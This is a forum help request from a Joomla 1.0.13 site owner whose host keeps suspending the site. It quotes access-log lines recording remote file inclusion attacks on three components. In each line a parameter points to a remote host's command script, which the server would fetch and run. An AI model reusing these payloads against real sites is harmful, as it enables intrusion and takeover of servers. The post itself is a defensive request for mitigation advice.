Need quick help !!

[Floranett]

My hosting provider keep closing my site over and over because of intruders/hackers all the time, and now I need help guys.
I paste some of the lines from my hosting provider for you to see:

66.46.177.xxx - - [09/Dec/2007:18:21:31 +0100] "GET /administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://collegejacquesprevert.ca/eleves/.plugins/id.txt? HTTP/1.1" 200 58 "-" "libwww-perl/5.79"

207.45.182.xxx - - [09/Dec/2007:18:23:48 +0100] "GET //components/com_zoom/includes/database.php?mosConfig_absolute_path=http://www.gangmembers.net/calendar//ws/cmd.txt? HTTP/1.1" 404 - "-" "libwww-perl/5.808"

85.17.168.xxx - - [09/Dec/2007:18:40:03 +0100] "GET //index.php?option=index.php?option=com_wrapper&Itemid=&mosConfig_absolute_path=http://azspromservice.ru/usr/extensions/sys.txt? HTTP/1.1" 200 164 "-" "libwww-perl/5.808"

This is the lines, and of course more of them.

zOOm Media Gallery:

Community Builder:

Wrapper:
Will the allow_url_fopen = Off in the php.ini fix this?

I use Joomla 1.0.13 and register globals is set to OFF.

Edit:
